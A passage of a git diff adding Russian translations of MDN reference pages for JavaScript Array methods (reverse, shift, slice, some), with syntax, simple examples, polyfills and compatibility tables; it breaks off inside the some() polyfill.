+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.9")}}</td>
+    <td>{{CompatIE("9")}}</td>
+    <td>{{CompatOpera("10.5")}}</td>
+    <td>{{CompatSafari("4.0")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/reverse/index.html b/files/ru/web/javascript/reference/global_objects/array/reverse/index.html
new file mode 100644
index 0000000000..15bb946242
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/reverse/index.html
@@ -0,0 +1,96 @@
+---
+title: Array.prototype.reverse()
+slug: Web/JavaScript/Reference/Global_Objects/Array/reverse
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>reverse()</strong></code> на месте обращает порядок следования элементов массива. Первый элемент массива становится последним, а последний — первым.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-reverse.html")}}</div>
+
+<p class="hidden">Источник этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>array</var>.reverse()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Перевернутный массив</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>reverse()</code> на месте переставляет элементы массива, на котором он был вызван, изменяет массив и возвращает ссылку на него.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Reversing_the_elements_in_an_array" name="Example:_Reversing_the_elements_in_an_array">Пример: обращение порядка элементов в массиве</h3>
+
+<p>В следующем примере создаётся массив <code>myArray</code>, содержащий три элемента, а затем массив переворачивается.</p>
+
+<pre class="brush: js">var myArray = ['один', 'два', 'три'];
+myArray.reverse();
+
+console.log(myArray) // ['три', 'два', 'один']
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.reverse")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reverse()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/shift/index.html b/files/ru/web/javascript/reference/global_objects/array/shift/index.html
new file mode 100644
index 0000000000..081339bd93
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/shift/index.html
@@ -0,0 +1,139 @@
+---
+title: Array.prototype.shift()
+slug: Web/JavaScript/Reference/Global_Objects/Array/shift
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>shift()</strong></code> удаляет <strong>первый</strong> элемент из массива и возвращает его значение. Этот метод изменяет длину массива.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.shift()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>shift</code> удаляет элемент по нулевому индексу, сдвигает значения по последовательным индексам вниз, а затем возвращает удалённое значение. Если свойство {{jsxref("Array.length", "length")}} массива равно 0, вернётся значение {{jsxref("Global_Objects/undefined", "undefined")}}.</p>
+
+<p>Метод <code>shift</code> не является привязанным к типу; этот метод может быть {{jsxref("Function.call", "вызван", "", 1)}} или {{jsxref("Function.apply", "применён", "", 1)}} к объектам, напоминающим массив. Объекты, не содержащие свойство <code>length</code>, отражающее последний элемент в серии последовательных числовых, начинающихся с нуля, свойств, могут повести себя неправильным образом.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Removing_an_element_from_an_array" name="Example:_Removing_an_element_from_an_array">Пример: удаление элемента из массива</h3>
+
+<p>Следующий код показывает массив <code>myFish</code> до и после удаления его первого элемента. Также он показывает удалённый элемент:</p>
+
+<pre class="brush: js">var myFish = ['ангел', 'клоун', 'мандарин', 'хирург'];
+
+console.log('myFish до: ' + myFish);
+//myFish до: ангел,клоун,мандарин,хирург
+
+var shifted = myFish.shift();
+
+console.log('myFish после: ' + myFish);
+//myFish после: клоун,мандарин,хирург
+
+console.log('Удалён этот элемент: ' + shifted);
+//Удалён этот элемент: ангел
+</pre>
+
+<p>Вывод этого примера будет следующим:</p>
+
+<pre class="brush: js">myFish до: ангел,клоун,мандарин,хирург
+myFish после: клоун,мандарин,хирург
+Удалён этот элемент: ангел
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.9', 'Array.prototype.shift')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.shift', 'Array.prototype.shift')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("1.0")}}</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>{{CompatIE("5.5")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/slice/index.html b/files/ru/web/javascript/reference/global_objects/array/slice/index.html
new file mode 100644
index 0000000000..1b35c36e24
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/slice/index.html
@@ -0,0 +1,242 @@
+---
+title: Array.prototype.slice()
+slug: Web/JavaScript/Reference/Global_Objects/Array/slice
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>slice()</strong></code> возвращает новый массив, содержащий копию части исходного массива.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-slice.html")}}</div>
+
+<p class="hidden">Источник этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>arr</var>.slice([<var>begin</var>[, <var>end</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>begin</code> {{optional_inline}}</dt>
+ <dd>Индекс (счёт начинается с нуля), по которому начинать извлечение.</dd>
+ <dd>Если индекс отрицательный, <code>begin</code> указывает смещение от конца последовательности. Вызов <code>slice(-2)</code> извлечёт два последних элемента последовательности.</dd>
+ <dd>Если <code>begin</code> неопределен, <code>slice()</code> начинает работать с индекса <code>0</code>.</dd>
+ <dd>Если <code>begin</code> больше длины последовательности вернется пустой массив.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>Индекс (счёт начинается с нуля), по которому заканчивать извлечение. Метод <code>slice()</code> извлекает элементы с индексом меньше <code>end</code>.</dd>
+ <dd>Вызов <code>slice(1, 4)</code> извлечёт элементы со второго по четвёртый (элементы по индексам 1, 2 и 3).</dd>
+ <dd>Если индекс отрицательный, <code>end</code> указывает смещение от конца последовательности. Вызов <code>slice(2, -1)</code> извлечёт из последовательности элементы начиная с третьего элемента с начала и заканчивая вторым с конца.</dd>
+ <dd>Если <code>end</code> опущен, <code>slice()</code> извлекает все элементы до конца последовательности (<code>arr.length</code>).</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый массив, содержащий извлеченные элементы.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>slice()</code> не изменяет исходный массив, а возвращает новую «одноуровневую» копию, содержащую копии элементов, вырезанных из исходного массива. Элементы исходного массива копируются в новый массив по следующим правилам:</p>
+
+<ul>
+ <li>Ссылки на объекты (но не фактические объекты): метод <code>slice()</code> копирует ссылки на объекты в новый массив. И оригинал, и новый массив ссылаются на один и тот же объект. То есть, если объект по ссылке будет изменён, изменения будут видны и в новом, и в исходном массивах.</li>
+ <li>Строки и числа (но не объекты {{jsxref("Global_Objects/String", "String")}} и {{jsxref("Global_Objects/Number", "Number")}}): метод <code>slice()</code> копирует значения строк и чисел в новый массив. Изменения строки или числа в одном массиве никак не затрагивает другой.</li>
+</ul>
+
+<p>Если к любому массиву будет добавлен новый элемент, это никак не повлияет на другой массив.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Return_a_portion_of_an_existing_array" name="Example:_Return_a_portion_of_an_existing_array">Пример: возврат части существующего массива</h3>
+
+<pre class="brush: js notranslate">// Пример: наши хорошие друзья цитрусовые среди фруктов
+var fruits = ['Банан', 'Апельсин', 'Лимон', 'Яблоко', 'Манго'];
+var citrus = fruits.slice(1, 3);
+
+// citrus содержит ['Апельсин', 'Лимон']
+</pre>
+
+<h3 id="Example_Using_slice" name="Example:_Using_slice">Пример: использование метода <code>slice()</code></h3>
+
+<p>В следующем примере метод <code>slice()</code> создаёт новый массив, <code>newCar</code>, из массива <code>myCar</code>. Оба содержат ссылку на объект <code>myHonda</code>. Когда цвет в объекте <code>myHonda</code> изменяется на багровый, оба массива замечают это изменение.</p>
+
+<pre class="brush: js notranslate">// Используя slice, создаём newCar из myCar.
+var myHonda = { color: 'красный', wheels: 4, engine: { cylinders: 4, size: 2.2 } };
+var myCar = [myHonda, 2, 'в хорошем состоянии', 'приобретена в 1997'];
+var newCar = myCar.slice(0, 2);
+
+// Отображаем значения myCar, newCar и цвет myHonda
+//  по ссылкам из обоих массивов.
+console.log('myCar = ' + myCar.toSource());
+console.log('newCar = ' + newCar.toSource());
+console.log('myCar[0].color = ' + myCar[0].color);
+console.log('newCar[0].color = ' + newCar[0].color);
+
+// Изменяем цвет myHonda.
+myHonda.color = 'багровый';
+console.log('Новый цвет моей Honda - ' + myHonda.color);
+
+// Отображаем цвет myHonda по ссылкам из обоих массивов.
+console.log('myCar[0].color = ' + myCar[0].color);
+console.log('newCar[0].color = ' + newCar[0].color);
+</pre>
+
+<p>Этот скрипт выведет:</p>
+
+<pre class="brush: js notranslate">myCar = [{color:'красный', wheels:4, engine:{cylinders:4, size:2.2}}, 2,
+         'в хорошем состоянии', 'приобретена в 1997']
+newCar = [{color:'красный', wheels:4, engine:{cylinders:4, size:2.2}}, 2]
+myCar[0].color = красный
+newCar[0].color = красный
+Новый цвет моей Honda - багровый
+myCar[0].color = багровый
+newCar[0].color = багровый
+</pre>
+
+<h2 id="Array-like" name="Array-like">Массивоподобные объекты</h2>
+
+<p>Метод <code>slice()</code> также может использоваться для преобразования массивоподобных объектов / коллекций в новый массив <code>Array</code>. Вам просто нужно привязать метод к объекту. Псевдомассив {{jsxref("Functions_and_function_scope/arguments", "arguments")}} внутри функции как раз является примером «массивоподобного объекта».</p>
+
+<pre class="brush: js notranslate">function list() {
+  return Array.prototype.slice.call(arguments, 0);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<p>Привязка может быть осуществлена посредством функции .<code>call()</code> из прототипа функции {{jsxref("Function.prototype")}}, также запись может быть сокращена до <code>[].slice.call(arguments)</code> вместо использования <code>Array.prototype.slice.call()</code>. В любом случае, она может быть упрощена посредством использования функции {{jsxref("Function.prototype.bind()", "bind()")}}.</p>
+
+<pre class="brush: js notranslate">var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.call.bind(unboundSlice);
+
+function list() {
+  return slice(arguments, 0);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<h2 id="Streamlining_cross-browser_behavior" name="Streamlining_cross-browser_behavior">Совершенствование кросс-браузерного поведения</h2>
+
+<p>Хотя спецификация не требует от хост-объектов (например, объектов DOM) следовать поведению Mozilla при преобразовании с помощью <code>Array.prototype.slice()</code> и IE &lt; 9 так не делает, версии IE, начиная с 9-й это умеют. «Прокладывание» позволяет добиться надёжного кросс-браузерного поведения. Пока другие современные браузеры будут поддерживать эту способность, что и делают в настоящее время IE, Mozilla, Chrome, Safari и Opera, разработчики, читая (поддерживающий DOM) код функции <code>slice()</code>, опирающийся на эту прокладку, не будут вводиться в заблуждение его семантикой; они могут смело полагаться на текущую семантику, являющуюся, видимо, <em>де-факто</em> стандартным поведением. (Прокладка также исправляет поведение IE, позволяя работать со вторым аргументом <code>slice()</code>, явно определённым как {{jsxref("Global_Objects/null", "null")}}/{{jsxref("Global_Objects/undefined", "undefined")}}, поскольку более ранние версии IE такое не позволяют, но все современные браузеры, в том числе IE &gt;= 9, поддерживают данное поведение.)</p>
+
+<pre class="brush: js notranslate">/**
+ * Прокладка для "исправления" отсутствия поддержки в IE &lt; 9 применения slice
+ * к хост-объектам вроде NamedNodeMap, NodeList и HTMLCollection
+ * (технически, поскольку хост-объекты зависят от реализации,
+ * по крайней мере, до ES2015, IE не обязан так работать).
+ * Также работает для строк, исправляет поведение IE &lt; 9, позволяя явно указывать undefined
+ * вторым аргументом (как в Firefox), и предотвращает ошибки, возникающие при
+ * вызове на других объектах DOM.
+ */
+(function () {
+  'use strict';
+  var _slice = Array.prototype.slice;
+
+  try {
+    // Не может использоваться с элементами DOM в IE &lt; 9
+    _slice.call(document.documentElement);
+  } catch (e) { // В IE &lt; 9 кидается исключение
+    // Функция будет работать для истинных массивов, массивоподобных объектов,
+    // NamedNodeMap (атрибуты, сущности, примечания),
+    // NodeList (например, getElementsByTagName), HTMLCollection (например, childNodes)
+    // и не будет падать на других объектах DOM (как это происходит на элементах DOM в IE &lt; 9)
+    Array.prototype.slice = function(begin, end) {
+      // IE &lt; 9 будет недоволен аргументом end, равным undefined
+      end = (typeof end !== 'undefined') ? end : this.length;
+
+      // Для родных объектов Array мы используем родную функцию slice
+      if (Object.prototype.toString.call(this) === '[object Array]') {
+        return _slice.call(this, begin, end);
+      }
+
+      // Массивоподобные объекты мы обрабатываем самостоятельно
+      var i, cloned = [],
+          size, len = this.length;
+
+      // Обрабатываем отрицательное значение begin
+      var start = begin || 0;
+      start = (start &gt;= 0) ? start: len + start;
+
+      // Обрабатываем отрицательное значение end
+      var upTo = (end) ? end : len;
+      if (end &lt; 0) {
+        upTo = len + end;
+      }
+
+      // Фактически ожидаемый размер среза
+      size = upTo - start;
+
+      if (size &gt; 0) {
+        cloned = new Array(size);
+        if (this.charAt) {
+          for (i = 0; i &lt; size; i++) {
+            cloned[i] = this.charAt(start + i);
+          }
+        } else {
+          for (i = 0; i &lt; size; i++) {
+            cloned[i] = this[start + i];
+          }
+        }
+      }
+
+      return cloned;
+    };
+  }
+}());
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.10', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.slice', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.slice', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.slice")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/some/index.html b/files/ru/web/javascript/reference/global_objects/array/some/index.html
new file mode 100644
index 0000000000..ee4c18f9f0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/some/index.html
@@ -0,0 +1,215 @@
+---
+title: Array.prototype.some()
+slug: Web/JavaScript/Reference/Global_Objects/Array/some
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.6
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - Массив
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/some
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>some()</strong></code> проверяет, удовлетворяет ли какой-либо элемент массива условию, заданному в передаваемой функции.</p>
+
+<div class="blockIndicator note">
+<p><strong>Обратите внимание</strong>: метод возвращает <code>false</code> при любом условии для пустого массива.</p>
+</div>
+
+<p>{{EmbedInteractiveExample("pages/js/array-some.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>arr</var>.some(<var>callback(element[, index[, array]])</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Функция проверки каждого элемента, принимает три аргумента:
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>Текущий обрабатываемый элемент массива.</dd>
+  <dt><code>index</code>{{Optional_inline}}</dt>
+  <dd>Индекс текущего обрабатываемого элемента массива.</dd>
+  <dt><code>array</code>{{Optional_inline}}</dt>
+  <dd>Массив, по которому осуществляется проход.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{Optional_inline}}</dt>
+ <dd>Значение, используемое в качестве <code>this</code> при выполнении функции <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code><strong>true</strong></code>, если функция проверки возвращает {{Glossary("truthy")}} значение хотя бы для одного элемента массива. Иначе, <code><strong>false</strong></code>.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>some()</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдет такой, для которого <code>callback</code> вернет <em>истинное</em> значение (значение, становящееся равным <code>true</code> при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод <code>some()</code> немедленно вернёт <code>true</code>. В противном случае, если <code>callback</code> вернёт <code>false</code> для всех элементов массива, метод <code>some()</code> вернёт <code>false</code>. Функция <code>callback</code> вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.</p>
+
+<p>Функция <code>callback</code> вызывается с тремя аргументами: значением элемента, индексом элемента и массивом, по которому осуществляется проход.</p>
+
+<p>Если в метод <code>some()</code> был передан параметр <code>thisArg</code>, при вызове <code>callback</code> он будет использоваться в качестве значения <code>this</code>. В противном случае в качестве значения <code>this</code> будет использоваться значение {{jsxref("Global_Objects/undefined", "undefined")}}. В конечном итоге, значение <code>this</code>, наблюдаемое из функции <code>callback</code>, определяется согласно <a href="/ru/docs/Web/JavaScript/Reference/Operators/this">обычным правилам определения <code>this</code>, видимого из функции</a>.</p>
+
+<p>Метод <code>some()</code> не изменяет массив, для которого он был вызван.</p>
+
+<p>Диапазон элементов, обрабатываемых методом <code>some()</code>, устанавливается до первого вызова функции <code>callback</code>. Элементы, добавленные в массив после начала выполнения метода <code>some()</code>, не будут посещены функцией <code>callback</code>. Если существующие элементы массива изменятся, значения, переданные в функцию <code>callback</code>, будут значениями на тот момент времени, когда метод <code>some()</code> посетит их; удалённые элементы посещены не будут.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Testing_size_of_all_array_elements" name="Example:_Testing_size_of_all_array_elements">Проверка значений элементов массива</h3>
+
+<p>Следующий пример проверяет наличие в массиве элемента, который больше 10.</p>
+
+<pre class="brush: js">function isBiggerThan10(element, index, array) {
+  return element &gt; 10;
+}
+[2, 5, 8, 1, 4].some(isBiggerThan10);  // false
+[12, 5, 8, 1, 4].some(isBiggerThan10); // true
+</pre>
+
+<p>{{ EmbedLiveSample('Проверка_значений_элементов_массива', '', '', '', 'Web/JavaScript/Reference/Global_Objects/Array/some') }}</p>
+
+<h3 id="Example_Testing_array_elements_using_arrow_functions" name="Example:_Testing_array_elements_using_arrow_functions">Проверка элементов массива с использованием стрелочных функций</h3>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Стрелочные функции</a> предоставляют более краткий синтаксис для подобных проверок.</p>
+
+<pre class="brush: js">[2, 5, 8, 1, 4].some(elem =&gt; elem &gt; 10);  // false
+[12, 5, 8, 1, 4].some(elem =&gt; elem &gt; 10); // true
+</pre>
+
+<p>{{ EmbedLiveSample('Проверка_элементов_массива_с_использованием_стрелочных_функций', '', '', '', 'Web/JavaScript/Reference/Global_Objects/Array/some') }}</p>
+
+<h3 id="Проверка_наличия_элемента_в_массиве">Проверка наличия элемента в массиве</h3>
+
+<p>Чтобы имитировать функцию метода <code>includes()</code>, эта пользовательская функция возвращает true, если элемент существует в массиве:</p>
+
+<pre class="brush: js">const fruits = ['apple', 'banana', 'mango', 'guava'];
+
+function checkAvailability(arr, val) {
+  return arr.some(function(arrVal) {
+    return val === arrVal;
+  });
+}
+
+checkAvailability(fruits, 'kela');   // false
+checkAvailability(fruits, 'banana'); // true</pre>
+
+<p>{{ EmbedLiveSample('Проверка_наличия_элемента_в_массиве', '', '', '', 'Web/JavaScript/Reference/Global_Objects/Array/some') }}</p>
+
+<h3 id="Проверка_наличия_элемента_в_массиве_с_использованием_стрелочной_функции">Проверка наличия элемента в массиве с использованием стрелочной функции</h3>
+
+<pre><code>const fruits = ['apple', 'banana', 'mango', 'guava'];
+
+function checkAvailability(arr, val) {
+  return arr.some(arrVal =&gt; val === arrVal);
+}
+
+checkAvailability(fruits, 'kela');   // false
+checkAvailability(fruits, 'banana'); // true</code></pre>
+
+<p>{{ EmbedLiveSample('Проверка_наличия_элемента_в_массиве_с_использованием_стрелочной_функции', '', '', '', 'Experiment:StaticExamplesOnTop/JavaScript/Array/some') }}</p>
+
+<h3 id="Приведение_значения_к_логическому_типу">Приведение значения к логическому типу</h3>
+
+<pre><code>const TRUTHY_VALUES = [true, 'true', 1];
+
+function getBoolean(value) {
+  'use strict';
+
+  if (typeof value === 'string') {
+    value = value.toLowerCase().trim();
+  }
+
+  return TRUTHY_VALUES.some(function(t) {
+    return t === value;
+  });
+}
+
+getBoolean(false);   // false
+getBoolean('false'); // false
+getBoolean(1);       // true
+getBoolean('true');  // true</code></pre>
+
+<p>{{ EmbedLiveSample('Приведение_значения_к_логическому_типу', '', '', '', 'Web/JavaScript/Reference/Global_Objects/Array/some') }}</p>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Метод <code>some()</code> был добавлен к стандарту ECMA-262 в 5-м издании; поэтому он может не присутствовать в других реализациях стандарта. Вы можете работать с ним, добавив следующий код в начало ваших скриптов, он позволяет использовать <code>some()</code> в реализациях, которые не поддерживают этот метод. Этот алгоритм является точно тем, что описан в ECMA-262 5-го издания; и предполагает, что {{jsxref("Global_Objects/Object", "Object")}} и {{jsxref("Global_Objects/TypeError", "TypeError")}} имеют свои первоначальные значения и что <code>callback.call</code> вычисляется в оригинальное значение {{jsxref("Function.prototype.call()")}}.</p>
+
+<pre class="brush: js">// Шаги алгоритма ECMA-262, 5-е издание, 15.4.4.17
+// Ссылка (en): http://es5.github.io/#x15.4.4.17
+// Ссылка (ru): http://es5.javascript.ru/x15.4.html#x15.4.4.17
+if (!Array.prototype.some) {
+  Array.prototype.some = function(fun/*, thisArg*/) {
+    'use strict';
+
+    if (this == null) {
+      throw new TypeError('Array.prototype.some called on null or undefined');
+    }
+
+    if (typeof fun !== 'function') {
+      throw new TypeError();
+    }
+
+    var t = Object(this);
+    var len = t.length &gt;&gt;&gt; 0;
+
